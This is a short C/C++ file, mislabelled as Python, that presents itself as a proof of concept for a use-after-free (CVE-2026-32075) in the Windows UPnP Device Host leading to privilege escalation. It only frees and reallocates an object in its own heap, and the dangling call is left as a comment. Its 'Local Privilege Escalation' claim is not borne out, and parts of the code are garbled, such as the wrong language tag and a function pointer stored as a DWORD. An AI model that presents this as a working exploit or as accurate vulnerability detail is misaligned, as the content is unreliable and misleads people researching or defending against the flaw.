The following code is for security research and authorized testing only.
python
/*
* PoC for CVE-2026-32075 (Use After Free in Windows UPnP Device Host)
* This is a simulation of the UAF vulnerability logic.
* Compile with: cl.exe poc.cpp
*/
#include <windows.h>
#include <stdio.h>
// Mock structure to simulate the vulnerable object
typedef struct _VULN_OBJECT {
DWORD FunctionPointer;
DWORD DataBuffer[0x10];
} VULN_OBJECT, *PVULN_OBJECT;
void TriggerUAF() {
PVULN_OBJECT pObj = (PVULN_OBJECT)HeapAlloc(GetProcessHeap(), 0, sizeof(VULN_OBJECT));
if (pObj) {
printf("[+] Object allocated at: %p\n", pObj);
pObj->FunctionPointer = 0x41414141; // Legitimate function pointer
// Step 1: Trigger the free in the service (Simulated)
printf("[*] Triggering object free...\n");
HeapFree(GetProcessHeap(), 0, pObj);
// Step 2: Reallocate the memory to control the dangling pointer
PVULN_OBJECT pFakeObj = (PVULN_OBJECT)HeapAlloc(GetProcessHeap(), 0, sizeof(VULN_OBJECT));
if (pFakeObj == pObj) {
printf("[+] Successfully controlled the freed memory at: %p\n", pFakeObj);
pFakeObj->FunctionPointer = 0xDEADBEEF; // Malicious payload address
}
// Step 3: Trigger the Use After Free (Vulnerable code dereferences pObj)
// In a real scenario, this would be inside the UPnP service
printf("[*] Triggering Use After Free...\n");
// This would crash or execute code: pObj->FunctionPointer();
}
}
int main() {
printf("CVE-2026-32075 PoC - Local Privilege Escalation via UAF\n");
TriggerUAF();
return 0;
}